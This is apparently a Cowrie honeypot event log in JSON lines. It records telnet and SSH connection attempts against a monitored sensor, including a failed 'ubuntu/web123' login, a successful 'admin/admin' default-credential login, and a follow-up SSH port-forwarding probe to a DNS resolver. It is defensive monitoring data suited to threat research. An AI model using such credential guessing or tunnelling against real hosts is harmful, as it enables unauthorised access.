{"eventid":"cowrie.session.closed","duration":6.210395336151123,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:05.008814Z","src_ip":"188.208.141.113","session":"432092720268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.82.7.58","src_port":36648,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e8a354a5d12","protocol":"telnet","message":"New connection: 36.82.7.58:36648 (159.203.135.109:23) [session: 5e8a354a5d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:05.355648Z"}
{"eventid":"cowrie.session.closed","duration":43.323633432388306,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:07.369411Z","src_ip":"188.208.141.113","session":"2d9835d2a2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.44256138801575,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:07.527651Z","src_ip":"188.208.141.113","session":"35d47f92f87d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58388,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce45fe74230f","protocol":"telnet","message":"New connection: 188.208.141.113:58388 (10.17.0.5:23) [session: ce45fe74230f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:09.963620Z"}
{"eventid":"cowrie.session.closed","duration":33.684165716171265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:15.237072Z","src_ip":"64.227.9.242","session":"0e89f465519c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35014,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2fa03dbcd78","protocol":"telnet","message":"New connection: 64.227.9.242:35014 (159.203.135.109:23) [session: a2fa03dbcd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:17.398687Z"}
{"eventid":"cowrie.session.closed","duration":47.46013116836548,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:18.600720Z","src_ip":"188.208.141.113","session":"5c56755be1ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59540,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d454fe78cc","protocol":"telnet","message":"New connection: 188.208.141.113:59540 (10.17.0.5:23) [session: a7d454fe78cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:20.329390Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40450,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08152ecc414","protocol":"telnet","message":"New connection: 64.227.9.242:40450 (159.203.135.109:23) [session: d08152ecc414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:21.228635Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47588,"dst_ip":"10.17.0.5","dst_port":23,"session":"725a19f49ec3","protocol":"telnet","message":"New connection: 188.208.141.113:47588 (10.17.0.5:23) [session: 725a19f49ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:23.416923Z"}
{"eventid":"cowrie.session.closed","duration":35.29896783828735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:23.497493Z","src_ip":"188.208.141.113","session":"ccf4bb63387d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42273449897766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:23.556202Z","src_ip":"64.227.9.242","session":"44d7d5fed233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26948356628418,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:25.929926Z","src_ip":"64.227.9.242","session":"724068c035e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1621fadd5c2","protocol":"telnet","message":"New connection: 188.208.141.113:47598 (10.17.0.5:23) [session: a1621fadd5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:29.685641Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33684,"dst_ip":"10.17.0.5","dst_port":23,"session":"12cfbc1cbd31","protocol":"telnet","message":"New connection: 188.208.141.113:33684 (10.17.0.5:23) [session: 12cfbc1cbd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:33.609863Z"}
{"eventid":"cowrie.session.closed","duration":50.16974139213562,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:39.514548Z","src_ip":"188.208.141.113","session":"01234c21d6b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34122,"dst_ip":"159.203.135.109","dst_port":23,"session":"c401c790f665","protocol":"telnet","message":"New connection: 64.227.9.242:34122 (159.203.135.109:23) [session: c401c790f665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:40.704398Z"}
{"eventid":"cowrie.session.closed","duration":47.62193822860718,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:41.149783Z","src_ip":"188.208.141.113","session":"400486ed885e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35670,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ddb7522ad09","protocol":"telnet","message":"New connection: 64.227.9.242:35670 (159.203.135.109:23) [session: 1ddb7522ad09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:42.076645Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47280,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1fb2a2796f","protocol":"telnet","message":"New connection: 188.208.141.113:47280 (10.17.0.5:23) [session: 9c1fb2a2796f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:42.331416Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47284,"dst_ip":"10.17.0.5","dst_port":23,"session":"2085d09e34fa","protocol":"telnet","message":"New connection: 188.208.141.113:47284 (10.17.0.5:23) [session: 2085d09e34fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:46.384328Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":34502,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1ea87a1d64","protocol":"ssh","message":"New connection: 1.235.192.214:34502 (10.17.0.5:22) [session: 6c1ea87a1d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:46.545093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:46.548780Z","src_ip":"1.235.192.214","session":"6c1ea87a1d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:46.741295Z","src_ip":"1.235.192.214","session":"6c1ea87a1d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"web123","message":"login attempt [ubuntu/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:47.529174Z","src_ip":"1.235.192.214","session":"6c1ea87a1d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:48.720414Z","src_ip":"1.235.192.214","session":"6c1ea87a1d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47998,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad00cd7d4450","protocol":"telnet","message":"New connection: 188.208.141.113:47998 (10.17.0.5:23) [session: ad00cd7d4450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:51.325382Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48010,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3e31e9f517","protocol":"telnet","message":"New connection: 188.208.141.113:48010 (10.17.0.5:23) [session: 5e3e31e9f517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:52.081630Z"}
{"eventid":"cowrie.session.closed","duration":35.515161752700806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:52.913678Z","src_ip":"64.227.9.242","session":"a2fa03dbcd78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.619839668273926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:55.848376Z","src_ip":"64.227.9.242","session":"d08152ecc414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.119441986083984,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:58.082918Z","src_ip":"188.208.141.113","session":"ce45fe74230f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.04143810272217,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:03.370735Z","src_ip":"188.208.141.113","session":"a7d454fe78cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15818190574646,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:06.767907Z","src_ip":"188.208.141.113","session":"12cfbc1cbd31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":36116,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae2ad995081","protocol":"telnet","message":"New connection: 64.227.9.242:36116 (159.203.135.109:23) [session: bae2ad995081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:08.857145Z"}
{"eventid":"cowrie.session.closed","duration":45.686199426651,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:09.103000Z","src_ip":"188.208.141.113","session":"725a19f49ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc45c422d3d8","protocol":"telnet","message":"New connection: 108.61.251.217:56256 (10.17.0.5:23) [session: bc45c422d3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:11.569518Z"}
{"eventid":"cowrie.session.closed","duration":120.00138998031616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:13.232405Z","src_ip":"65.181.15.223","session":"f536c6643871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57356,"dst_ip":"10.17.0.5","dst_port":23,"session":"01ad87c8d6c4","protocol":"telnet","message":"New connection: 188.208.141.113:57356 (10.17.0.5:23) [session: 01ad87c8d6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:16.670624Z"}
{"eventid":"cowrie.session.closed","duration":36.23960018157959,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:16.943881Z","src_ip":"64.227.9.242","session":"c401c790f665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25281524658203,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:18.329361Z","src_ip":"64.227.9.242","session":"1ddb7522ad09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.48283314704895,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:19.168349Z","src_ip":"188.208.141.113","session":"a1621fadd5c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.85248327255249,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:19.183759Z","src_ip":"188.208.141.113","session":"9c1fb2a2796f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.122098445892334,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:20.792619Z","src_ip":"188.208.141.113","session":"01ad87c8d6c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49362,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55943ac3767","protocol":"telnet","message":"New connection: 188.208.141.113:49362 (10.17.0.5:23) [session: c55943ac3767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:21.258435Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49366,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b38d1dfc8c3","protocol":"telnet","message":"New connection: 188.208.141.113:49366 (10.17.0.5:23) [session: 8b38d1dfc8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:21.929744Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49376,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0c9a9ece75","protocol":"telnet","message":"New connection: 188.208.141.113:49376 (10.17.0.5:23) [session: bc0c9a9ece75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:23.225535Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49386,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cce483731c1","protocol":"telnet","message":"New connection: 188.208.141.113:49386 (10.17.0.5:23) [session: 9cce483731c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:23.372049Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"269bd4895d2c","protocol":"telnet","message":"New connection: 188.208.141.113:49402 (10.17.0.5:23) [session: 269bd4895d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:25.076941Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":45128,"dst_ip":"10.17.0.5","dst_port":23,"session":"522b257f4c2e","protocol":"telnet","message":"New connection: 108.61.251.217:45128 (10.17.0.5:23) [session: 522b257f4c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:25.294989Z"}
{"eventid":"cowrie.session.closed","duration":3.5637195110321045,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:26.935664Z","src_ip":"188.208.141.113","session":"9cce483731c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.844651222229004,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:27.070072Z","src_ip":"188.208.141.113","session":"bc0c9a9ece75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d96b4befd1d","protocol":"telnet","message":"New connection: 188.208.141.113:49404 (10.17.0.5:23) [session: 6d96b4befd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:27.895999Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75576c2c411","protocol":"telnet","message":"New connection: 188.208.141.113:49408 (10.17.0.5:23) [session: f75576c2c411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:27.942257Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58920,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e7c2d300a32","protocol":"ssh","message":"New connection: 87.251.64.176:58920 (10.17.0.5:22) [session: 9e7c2d300a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:28.681581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:28.686380Z","src_ip":"87.251.64.176","session":"9e7c2d300a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:28.782510Z","src_ip":"87.251.64.176","session":"9e7c2d300a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7685627937316895,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:28.845400Z","src_ip":"188.208.141.113","session":"269bd4895d2c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:29.179342Z","src_ip":"87.251.64.176","session":"9e7c2d300a32","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:29.279913Z","session":"9e7c2d300a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.982739210128784,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:29.308027Z","src_ip":"188.208.141.113","session":"ad00cd7d4450","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:29.378218Z","src_ip":"87.251.64.176","session":"9e7c2d300a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:29.478146Z","src_ip":"87.251.64.176","session":"9e7c2d300a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49416,"dst_ip":"10.17.0.5","dst_port":23,"session":"4074d0a6633f","protocol":"telnet","message":"New connection: 188.208.141.113:49416 (10.17.0.5:23) [session: 4074d0a6633f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:29.866164Z"}
{"eventid":"cowrie.session.closed","duration":45.81414318084717,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:32.198367Z","src_ip":"188.208.141.113","session":"2085d09e34fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44332,"dst_ip":"10.17.0.5","dst_port":23,"session":"913b3a6a76be","protocol":"telnet","message":"New connection: 104.167.8.156:44332 (10.17.0.5:23) [session: 913b3a6a76be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:32.584057Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35654,"dst_ip":"10.17.0.5","dst_port":23,"session":"42244f289cc4","protocol":"telnet","message":"New connection: 104.167.8.156:35654 (10.17.0.5:23) [session: 42244f289cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:39.098947Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36836,"dst_ip":"10.17.0.5","dst_port":23,"session":"abb403b1e5ac","protocol":"telnet","message":"New connection: 104.167.8.156:36836 (10.17.0.5:23) [session: abb403b1e5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:39.428817Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37738,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ee5e675db6","protocol":"telnet","message":"New connection: 104.167.8.156:37738 (10.17.0.5:23) [session: 34ee5e675db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:39.714250Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38968,"dst_ip":"10.17.0.5","dst_port":23,"session":"8573722b6e79","protocol":"telnet","message":"New connection: 104.167.8.156:38968 (10.17.0.5:23) [session: 8573722b6e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:38:40.093434Z"}
